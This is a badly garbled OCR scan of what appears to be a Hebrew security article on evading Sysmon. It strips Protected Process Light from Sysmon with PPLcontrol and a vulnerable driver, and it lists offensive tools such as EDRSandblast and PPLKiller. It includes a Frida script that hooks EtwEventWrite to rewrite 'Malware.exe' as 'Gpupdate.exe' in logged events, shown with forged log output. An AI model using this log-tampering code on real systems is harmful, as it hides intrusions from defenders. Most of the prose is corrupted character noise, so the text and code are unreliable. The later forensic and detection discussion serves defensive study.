Jtexspox % ]G ] 5L FEAG
THTE K AT KT S XIS T X L kIR %Y

Riotected Process Light) PPLs

Loz X AT Yy s

s .y

X

> v

b

ok 4R A KXTATL Y, Symon tWindowse 1 ¢ 15 7 ¥ s

Xsi ¥l ooosx*¥ ,x A [

X”dZC:X"YI'V'I’_‘J"l

.

~ Windows: x | »s 1 % x "“yxPPL

N I

e ¥ ¥4 u3¥PPL

Xd)

Y 1 _FHAGSS ¥y X7 | s

ProtectionLevel

ProtectionLevelHex

TrustLevel SID

Trust SID Value Name

PsProtectedSignerWinTcb-Light 0x61 5-1-19-512-8192 PPL-TCB
PsProtectedSignerAntimalware-Light 0x31 5-1-19-512-1536 PPL-Anti-Malware
PsProtectedSignerWindows-Light 0x51 5-1-19-512-4096 PPL-Windows
PsProtectedSignerWinTcb Ox62 5-1-19-1024-8192 | PP-TCB
PsProtectedSignerivax O0x72 5-1-19-1024-8192 | PP-TCB

Value

PROTECTION_LEVEL_ WINTCB_LIGHT
PROTECTION_LEVEL_WINDOWS
PROTECTION_LEVEL_WINDOWS_LIGHT
PROTECTION_LEVEL_ ANTIMALWARE_LIGHT
PROTECTION_LEVEL_LSA_LIGHT
PROTECTION_LEVEL_WINTCE
PROTECTION_LEVEL_CODEGEN_LIGHT
PROTECTION_LEVEL_AUTHENTICODE
PROTECTION_LEVEL_PPL_APP

PROTECTION_LEVEL_NONE

Meaning

For internal use only.

For internal use only.
For internal use only.
For internal use only.
For internal use only.
Not implemented.
Not implemented.

Mot implemented.

The process is a third party app that is using process protection.

The process is not protected.

xO: ] sy s 4 A o DX Y 1 e A AL Yy s 4 ¢ 404 PPL
~@ XSy ¢, ¥ Ty x| 3 4 Sysmhotrx 7 B o, o« X ¥ ot A4 4 s
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XX o WL Xl AWidowse X Ut A e W X TPRIRE . x4 D93 x L]
Windows XP ¥ Windows* _ |
Rregection H! _ KErne* EPROCESS” * « ¥ FLAG

——————=

_MMSUPPORT_FULL
_LIST_ENTRY M
ageCount;

ExitStatus;

ULONG64 VadPhysicalPageslLimit;
_ALPC_PROCESS_CONTEXT
_LIST_ENTRY Timerf
_PO_DIAG_STACK_RECORD *

ULONG LargePrivateV

t _EX_PUSH_LOCK

Cd oA 1%« 18X I X EPROCESSiadows . |~ x 5 I sl Xx oy (dea X e
@ x0ls . PRLIX | XSS 908 4N . . s x ]

BYOVD 1 4~ _{ss_

« \EPROCESS " * _“sx KBfngtt : _ ~» X X « | .~ PPPIR L FLAG @ ! x "I ",
Kérnett L = X .~ |.4x¢0s.
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Driver » i« d.x I Kefefts _ 1Y |~ X p o bpo oo x DL x D0 s]xxsef 4 ¥ 4«

® 1

Driver =~ + 41 ~xx s> {4 7« Bring Your Own Vulnerable DrivexBYOVD

B R T N I SN AU S I S IR ALY LA I

c@ xxI {y xDriver » 0% _~0_ ~ > 1 I _« xKErpfel
o M px o s xd A tus T 0 x4 1] DAvéroes, ) T s o o8 G4 " T

S AL S L X R s X X 1T XOSEH S X Kefhels-i | L iXx | X

A >

LFLAG © 0 x "~ is{@s ., « _IZLs £ FLAGB: 11 x 29 {9 vDrivent : ~ ¢ *

A

S 4 X sl TRy o X 4L s ST X G I LG« S T PPLS

Tl < MSIL 4% X4 4. 1% itmEnd 1A« § 14 % o Xixxd T

- . s

https://github.com/itm4n/PPLcontrol*: L 1.« 1 *PPES * L ELAGS + - X
Yrdp X% 13%xy
https://github.com/wavestonecdt/EDRSandblast |

https://github.com/RedCursorSecurityConsulting/PPLK:ill&r

https://github.com/hoangprod/DanSpecial

®ysmon {1 L UrSd Y X ot S s 1 Sy €7

s v B x X pxl o Tq"sx ] . Sysmon . _4 1 L:s-: % « 7 I Ardcess Explorer: . ¢ X
Rrefection H! x 4 4% st: 8 B 7 ¥ywxs o piyx <5047
Process CPU| Private Bytcs| Wodu'lgsdl PID | Description Company Name |Fr:xcctor

Ta7]swchost exe
Tn:| VGAuthService exe

16,904 K 3704 K 2212 Host Process for Windows 5. Microsoft Corporation
3.004 K 516K 2292 VMware Guest Authenticatio... VMware. Inc.

CRISysmon64 exe <00 5584 K 4840K 2312 PsProtected SignerAntimaiware-Ught
= T wm Adservice exe 1432K 152K 2324 VMware SVGA Helper Service VMware. Inc.
[%: vm3dservice exe 1.604 K 1896 K 2468 VMware SVGA Helper Service VMware, Inc
i vmtoolsd exe <00 5924 K 5224 K 2344 VMware Tools Core Service  VMware. Inc
® ' MzMpEng exe <00 153376 K 97188K 2384 PsProtected SignerAntimalware-Light
=l ¢ Searchindexer exe 189% K 8080 K 2683 Mcrosoft Windows Search | Microsoft Corporation
¢4 SearchProtocolHost e . 1644 K 444K 5720 Microsoft Windows Search P My it C
[a:)dihost exe <00 410K 2476 K 2828 COM Surrogate Microsoft Corporation
# | MisSrv exe 376K 216K 2320 PsProtected SignerAntimatware-Light

KEmett s _ » % X « L B4 I50 s iss” ¥ sised is”y T oIy 14X K

B¥OVD « {1 " 1 1~%
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RPG.Controky 4 1 " ~itmdnL 1 x POCT _ @ S5 v | €5
MSI . 1 YDrigers @ +~ X TREE

. ROBY: » X YFLAG {1 x 7 H {Sysmon 4 4L S PP g S”Yss {7 |

¥ * L X lvs. . Drivest Handlel - x

>

Kernel addr.

WindowsTch (6xle) | W Y (exic) exffff8ee5fc49a040

Unchecked (0xe8) | Unchecked (exee) | exffffs8eesfcad2ese

WindowsTch (ex3e) | Windows (exec) | exffffseesffieanse

632 (1) T (6) | Wi (6x3e) | Windows (exec) | exffffseesff41514e

704 ‘ (6x3e) | Windows (exac) | exffffseesffbf1140

712 | | T 6 WindowsTch (6x3e) | Windows (exec) | exffffseesffbbfese

824 ) ] ) WindowsTcb (ex3e) | Windows (exec) | exffffseesffbodese

1548 (2) WinSystem ( Unchecked (9xe0) Unchecked (exee) | exffffsoeceecefose
2172 (1) Windows 5) | Windows (6x3c) | Windows (@xec) | exffffeee601015080
2312 | (1) Antimalware Antimalware (6x37) | Antimalware (0x07) oxffff8006010960c0
2384 { | Antimalware Antimalware (ex37) | Microsoft (exe8) | exffffs8ee6010a2280
2820 I Antimalware Antimalware (ex37) Microsoft (6x0e8) exffff8e06014f6080
5600 PPL i (ex3c) | wi (exec) | exffff8e060235a280
5276 | PPL (ex3c) indow (exec) | exffffseece1f43080
1756 | PP ( ' ' (ex1e) indow (exic) | exffffg0e602818300
5204 | PPL (1) | Windows (8x3c) | Windows (@xec) | exffff8006026ec680
728 | PPL (1) | Windouws Windows (6x3c) | Windows (exec) | exffffseeceldc7eceo

ot n

v n

PN N N P P~~~

Enumerated 17 protected processes.

lindows\system32>"C:\Users\Test\Desktop\PPLcontrol.exe" unprotect 2312
he process with PID 2312 is no longer a PP(L).

XXX e KRS X O x X xxfssd 4 X x L Driver S L x 1S
PR I
LA A Tl a X W« Sysmon L 4 40 s T s .. Rréckss Explorérx .S« £ 1% %

XY' B A4 ki B sSaoXS L, X ST XX (10 1Y

“’ CPU| Pnvate Bytes | Working Set|  PiC l Description Company Name i Frotection
[%] svchost exe <001 17.032K 7572K 2212 Host Process for Windows S... Microsoft Comporation
VGAUthService exe J004K 524 K 2292 VMware Guest Authenticatio... ViMware, Inc
ysmon64 exe <0.01 5544 K 2300K 2312 System activity monor Sysintemals - www sysintemals com
EIVICE Bxe | 1432K 220K 2324 Mware Helper Service VMware, Inc

[EL e exe 1604 K 1716 K 2468 VMware SVGA Helper Service VMware, Inc
."Uvrn!:)nlsc exs <0m 5932K 5344 K 2344 VMware Tools Core Service  VMware, Inc
§ MsMpEng exe 443 149816 K 60924 K 2334 PsProtected SignerAntimalware-Light
¢ Searchindexer exe <00 18 6.572K 2638 Mcrosoft Windows Search | .. Microsoft Comporation
[¥7] dihost exe <00 1428 K 2828 COM Surogate Microsoft Comporation
¥ NizSrv exe 616K 2820 PsProtected SignerAntimalware-Light
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% SaFrida 4 S KPS X S g L FT S x4l S s ox™ |s
14404 A4 1 1 4duxstil o f x4 ¥ JavaScript | + 4 ~ £ s | « gpensourcel L+ X s
oL M B DR LT X
FAAY T K K H S 4 LAPL 0 XiIQEEWindows macOSLinux Android: x 1 -~ 4 & L | s
d < _Fi1 1.5
R 0 S XL XX 4 v s o X 4] "TeSSE . v o Frida X401 .8 b

« Xdixs  EtiEventWrites 4 .« < 7 X1 *Sysmon » ¥ T WH T . A D 4w L 6 X
NTOLL.DEL
Dolox sy 'S4 S 4 XX s 4 0« "X pa$ . 1 L. Misrosoft D ox & xS ¢
sY.: 4 -«

ULONG

EVNTAPI
E EventiWrite(
__in REGHANDLE RegHandle,

__in PCEVENT_DESCRIPTOR EventDescriptor,

__in ULONG UserDataCount,

__in_ecount_opt{UserDataCount) PEVENT_DATA DESCRIPTOR UserData
) E

Intercept, - Fuda’ ~ ¢ x4 (1ISy&honl 4 L st S x X N 4987 vy sik” B xx{ |

N A I A W SN A T

~ >

el s o0 TAsLX is i x o o ysxIg o x oo X

@pupdate.exer | Malware.exes L 1~]__$ ~ X

~ ~

var targetFunc = Module.getExportByName( null , 'EtwEventWrite' );
console.log( "[+] Hooking EtwEventWrite at address: " + targetFunc);

Interceptor .attach(targetFunc, {
onEnter: function (args){
console.log( "\ n[+] EtwEventWrite called:" );

//[Event ID from the EVENT_DESCRIPTOR struct (args[1]).

var eventDescriptorPtr = args| 1;

var eventlID = MemoryreadU16(eventDescriptorPtr. add( 2)); /[ Event ID
offset

console.log( - EventID:" + eventlD);

/I Num of event data fields.
var userDataCount = args[ ].toInt32();
console.log( " - Number of Data Fields: " + userDataCount);

/I Reading event data.

var eventDataPtr = args| I;

if (userDataCount > && leventDataPtr.isNull()) {
console.log( " - Extracting Event Data" );
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(var i= 0;i<userDataCount; i++){

var descriptorPtr = eventDataPtr. add(i * );

var dataPtr= MemoryreadPointer(descriptorPtr. add( 0));
var dataSize = MemoryreadU32(descriptorPtr. add( 8));

if (dataSize > ) {
try {

/I Read the data as a string.

var originalData = MemoryreadUtf16String(dataPtr,
dataSize /

console.log( " - Data[" +i+ "]:" + originalData);

/I Modify the event log data if it contains
"Malware.exe"

if  (originalData.indexOf( "Malware.exe" )!== -1){{

console.log( " - > Replacing Malware.exe with

Gpupdate.exe" );

var newStr = "Gpupdate.exe" ;
var maxChars = (dataSize / ) - 1

if (newStr.length > maxChars) {{
console.log( " > New string too long,
truncating from " + newStr.length + "to" +maxChars + "characters." );
newStr = newStr.substring( , maxChars);
1} else if (newsStr.length < maxChars) {{
/[ Padding the new string with spaces to match
the original buffer size.
newsStr = newStr.padEnd(maxChars, )

B

/I Writing new string instead.
MemorywriteUtf16String(dataPtr, newsStr);

1
} catch (e){
console.log( " - Data[* +i+ "]: Error reading
string: " + e);

onLeave: function (retval){

}
D

CALLE X H S ST x X UDatas 4 4 ¥ D X | TTRRSUOOL X« yxxsl)

1d __ v \EVENT_DATA_DESCRIPTOR
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indows\syste \Users\Te mple.js”

Frida 16. AW d-cl: C amic imstrumentation toolkit

Commands :
help

Yd 4% b Jdy X s w4043 17xy 47

called!

Malware.exes L + » « "S<" X s o oSl B ooxo PTPoxp 4y ko s x b ox ]

Y A ¥ Xgxs"x TS xS

1 Information  3/2/2025 4:10:32 AM 1 Proces..
JJInformation  3/2/2025 £10:31 AM Sysmon 5 Proces.
(information  2727I0I5 41020 AR Surrmman 1 Droras

Event 1, Sysmon

General Details

Utc hme: 20£5-03-02 1410:3£.544 ~
ProcessGuid: {9d6b9592-4ab8-67cd-da02-000000000200}

Processid: 3796

Image: Gpupdate.exe

FileVersion: -

Description: -

Product: -

Company: -

OriginalFileName: -

CommandLine: Gpupdate.exe

CurrentDirectory: Ch\Users\ Test\Desktop', s
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® 7y sysiyxIx (Jis« s 4 ] {1 ZStapegoatt+ s X _ ¢ _ s p xX7X7 ] x

v o~

L x 1

X "R s ] L o8 s xlix I = X :” $'s sq 1 .HXIZVJ ””Xkal Xs s . " 4 4o ]
X TR R X s A X s X TS X xed TS o0l Tk 4 Y oy 4w X
Coae X AL TEX T e sl ox s 0 T ST PR g xiixe x4 s .S

wov o~

LoX e A X SEad D ASLOS i Y o @ XS XL xT O Y X% Ll sx

@vxx‘LvJ-|I S

YUl d st s 4l o x f s X

L PATARC B IR I
o x b grdxl7 d s T A LA A L \Windlows: | -+ 4« TiPrefetch Files
XA -oxxs" | ox !
x L 1:+1 m{Application Compatibility Cache} « .  ‘sls+ _ = *x » s 1 fiShimcache |
Xow T ke Y 20 XX e X
e T IS S A A4 Tl X S X x % x s ¥ X miAmcache Y
A W4T
Coxopaxx Moxx o4 X oxs  x \Wliddowst 1 - N . 1 £ x Y Registry Artifacts
X0, XX
oS e xS i ] «TiIser Assist 0
ST x Xy Xk e e X4 4 x o 1Most Recently Used x . fMRWU lists o
s@ x . T - _ _ s+_1 1-_ % _miRecentDocs o
x Tr 4 9%nd 4+ 1 jump listd <« X(LNKY ~ 1 ~ xTeSHortcut (LNK) Files & Jump List$
Xow Te e p A el b X
¢ Xz« _timestamps,x _ Windows (NTFS) _+ 1 « X «Is. s "> x| 4NTFS Artifacts
FAAX T4 x 1 qs
Master File Table (MFT) records and USN Journal entffes
Xw b b 4 opxd o MY o) w400 d 4"t s L WAT o

@4 s 41X % 4 xdx Lk IINTFS | ¢4 4 % 2 ®WGN Journal o

666 P5ATAGEE2KAALISNIDO2 PAf
T HApH | X YWrTs X 4 L ¥



http://www.digitalwhisper.co.il/

Technologic

FOE 4 X AT s x 4w LY s

*x xJ48 1 s o 4 nShelbags 1
T o L B B T e B e O P T
VM1 x PowerShell ~ & x T x w41

1 - =541+ 4 "iWKHand PowerShell Logsf

'>:L'|”
Ctos % ¥ 414 X W 4 XX .Dfiflers

Vulnerabler 1 x s 41 o ¥ S 4 yx "ioxesqCIx " 4 X 4 H 0B i x T yxs, T
A RS A S IR S|
1 axZ X AH P B s TR L v X o 4sT

. 7 X s S. S X
o1 S XS

. :: XL v=":L.I+ J”<L . X ” X
Coxs Tow ¥ (707 XTLIIS XS TR X . TR X X8 % x X s 6L
I
X ”
Px b x4 ] "gs o q x| xs L X . "s 151 40 x 7 oLsxg o x

A~ ~

Fdise Positives
XA, e kT v X L 8 g X TIsx X T R X ") s O x o,
e, X8 o X Hexdso Vg d e H ¥ 8 eZe s X o x Ix ]

v o~V

S X Fey O

10 11491 _8" |
ssx_F.LLsZﬁ

cTH Y AT RN T e 4 4 T e d wo0Ees { LD
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~ 1L S

~ A

178 04§ R, ATy SISk ox 4K DX T d e A ] XS 4R K
®* 44, s

O TEDRISXE Tk % T 0d ~ Te W L0 K STAXL e ¥R s 4 N X T 0]

@471 P A XX LSS % X T VS S X G e XX x4
OY « I i 4 TR X I Jx -1 s

https://www.linkedin.com/in/roei-fetaya11aa03240

https://itm4n.qgithub.io/debuggingprotected-processes/

https://learn.microsoft.com/enus/windowshardware/drivers/kernel/eprocess

https://exatrack.com/public/Sysmonlinternals.pdf

= =A =4 =2

https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/strategigsmonitor-

and-preventvulnerabledriver-attacks/4103985

=

https://frida.re/

1 https://medium.com/@boutnaru/thewindowssecurityjourney-ppl-protected-processes
light-831d5f371004

9 https://medium.com/@peace o Olintroducticto-windowsartifactsyour-gatewayto-

effectiverincidentresponsecc39172af3a3

1 https://medium.com/@mehrnoush/shimcachamcacheforensicanalysis99a8a9733772

https://Oxv1n.github.io/posts/processprotection/
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TXX" T X o e STX b LS E R ANAT ST s X x x1d 14 e

thread- ¥ « Hu s X1 38 x 1164 s {4 % I J X b {15 " x . T I5%x . os

COXUXf A I JEDR KT L x T x 6 149k 2s L TEX A ds s

FoADC <X q XS sx

c X LA LS xiae s S o] Fsxe b e A, s B XX 4 XX PR XA,

CrebteRemoteThreads 6 _ *x _ + xS 1" %¥gs 4 « "% £ 18

x

1xs BEis 1) x4 x ¢ CreateRemoteThreatl . *x Ao w 1 x4 {1sx 4 x ] 4s

LB X, S X ] L GEDR ST Y § 7 x Ty

R R T I N T IR B N S Eol CNN [P N B P L
DO d T Sx Y s xS ¥R L 4 L8 XX S ¢ Likemelt L X T T

R A4 T X ] $ A 9SS sy A0, 4« TGUHL 14 5 19 Kerneft _

¢

P g X X S. I{L X4 7 kK k &

.
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